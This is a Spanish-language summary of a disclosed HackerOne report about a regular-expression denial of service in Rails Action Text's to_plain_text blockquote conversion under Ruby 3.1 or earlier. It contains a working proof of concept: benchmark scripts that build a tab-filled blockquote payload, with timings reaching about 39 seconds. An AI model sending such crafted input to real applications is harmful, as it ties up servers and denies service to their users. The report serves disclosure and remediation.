Reports
BAJA[DENEGACIÓN DE SERVICIO]#2389431

ReDoS en Action Text de Rails: un blockquote manipulado bloquea to_plain_text con Ruby 3.1 o anterior

Una expresión regular de Action Text que convierte citas a texto plano sufría retroceso excesivo: con Ruby 3.1 o anterior, un blockquote lleno de tabuladores tardaba unos 39 segundos en procesarse.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Action Text, el componente de Rails para contenido enriquecido, ofrece el método ActionText::Fragment#to_plain_text para convertir HTML en texto plano. Cuando en ese HTML aparece un <blockquote>, la conversión pasa por plain_text_for_blockquote_node, en actiontext/lib/action_text/plain_text_conversion.rb (línea 64 en la versión 7.1.3.2), que envuelve el texto de la cita entre comillas con esta expresión regular:

      def plain_text_for_blockquote_node(node, index)
        text = plain_text_for_block(node)
        text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
      end

El patrón combina (\s*), (.+?) con el modificador m (que también acepta espacios y saltos de línea) y otro (\s*). Ante una cadena con muchos espacios en blanco, el motor de expresiones regulares tiene que probar muchísimas formas de repartirlos entre los tres grupos, y el tiempo crece de forma desproporcionada con la longitud de la entrada: es una denegación de servicio por expresión regular (ReDoS). El investigador lo detectó con la herramienta de análisis recheck.

El problema solo se manifiesta con Ruby 3.1 o anterior: con Ruby 3.2 y 3.3, según las mediciones del investigador, la misma expresión se resuelve en milisegundos. La misma expresión aparece también en Rails 6.1 y 7.0:

  • https://github.com/rails/rails/blob/v6.1.7.7/actiontext/lib/action_text/plain_text_conversion.rb#L58
  • https://github.com/rails/rails/blob/v7.0.8.1/actiontext/lib/action_text/plain_text_conversion.rb#L66

Pasos de reproducción

1. Comprobar la expresión regular de forma aislada. El investigador preparó plain_text_regexp_benchmark.rb, que construye una cadena de tabuladores, una a, más tabuladores y otra a, y le aplica el mismo sub:

require 'benchmark'

def plain(length)
  text =  "\t" * length + "a" + "\t" * length + "a"
  text.sub(/\A(\s*)(.+?)(\s*)\Z/m, '\1“\2”\3')
end


Benchmark.bm do |x|
  x.report { plain(10) }
  x.report { plain(100) }
  x.report { plain(1000) }
  x.report { plain(10000) }
  x.report { plain(100000) }
end

Con Ruby 3.1.4, multiplicar la entrada por 10 multiplica el tiempo por unas 100, hasta llegar a casi 40 segundos con 100 000 tabuladores en cada tramo:

# ruby 3.1.4
❯ ruby plain_text_regexp_benchmark.rb
       user     system      total        real
   0.000008   0.000001   0.000009 (  0.000007)
   0.000055   0.000001   0.000056 (  0.000055)
   0.004528   0.000003   0.004531 (  0.004534)
   0.385151   0.000659   0.385810 (  0.386042)
  39.185124   0.129945  39.315069 ( 39.408578)

Con Ruby 3.2.3 y 3.3.0 el caso más largo se resuelve en milisegundos:

# ruby 3.2.3
❯ ruby plain_text_regexp_benchmark.rb
       user     system      total        real
   0.000008   0.000001   0.000009 (  0.000007)
   0.000010   0.000001   0.000011 (  0.000012)
   0.000060   0.000022   0.000082 (  0.000098)
   0.000549   0.000064   0.000613 (  0.000613)
   0.005388   0.001199   0.006587 (  0.006598)

# ruby 3.3.0
❯ ruby plain_text_regexp_benchmark.rb
       user     system      total        real
   0.000011   0.000001   0.000012 (  0.000008)
   0.000073   0.000001   0.000074 (  0.000073)
   0.000110   0.000011   0.000121 (  0.000122)
   0.001089   0.000196   0.001285 (  0.001285)
   0.010387   0.001831   0.012218 (  0.012250)

2. Crear una aplicación Rails 7.1.3.2 con Action Text y un modelo con un campo de texto enriquecido:

❯ rails new -C  -G -T text
# => Rails 7.1.3.2

❯ rails action_text:install

❯ bundle install

❯ bundle exec bin/rails generate model Message content:rich_text

❯ bundle exec rails db:migrate

3. Guardar un mensaje cuyo contenido sea un <blockquote> con la cadena maliciosa y pedir su versión en texto plano. Fichero plain_text_benchmark.rb:

require 'benchmark'

def plain(length)
  text =  "\t" * length + "a" + "\t" * length + "a"
  message = Message.create!(content: "<blockquote>#{text}</blockquote>")
  message.content.to_plain_text
end


Benchmark.bm do |x|
  x.report { plain(10) }
  x.report { plain(100) }
  x.report { plain(1000) }
  x.report { plain(10000) }
  x.report { plain(100000) }
end

4. Ejecutarlo con Ruby 3.1.4 mediante rails runner. El comportamiento es el mismo que en la prueba aislada: unos 39 segundos para la entrada más larga.

# ruby 3.1.4
❯ bundle exec rails runner plain_text_benchmark.rb
       user     system      total        real
   0.031610   0.010543   0.042153 (  0.046888)
   0.003494   0.000228   0.003722 (  0.003872)
   0.007226   0.000156   0.007382 (  0.007383)
   0.396392   0.001231   0.397623 (  0.398462)
  39.107745   0.110123  39.217868 ( 39.334358)

Impacto

En una aplicación que use Action Text sobre Ruby 3.1 o anterior, si alguien envía contenido manipulado como el de arriba y la aplicación llama a to_plain_text sobre él, el proceso que lo atiende queda ocupado durante decenas de segundos consumiendo CPU: una denegación de servicio por expresión regular. Con Ruby 3.2 o posterior las mediciones del investigador no muestran el problema. El programa clasificó la severidad como baja.

Remediación

El reporte figura como resuelto en HackerOne, pero no detalla el cambio aplicado. Según las mediciones del propio investigador, con Ruby 3.2 o posterior la expresión no presenta el retroceso excesivo.

Cronología: enviado el 25 de febrero de 2024 y divulgado el 9 de junio de 2026.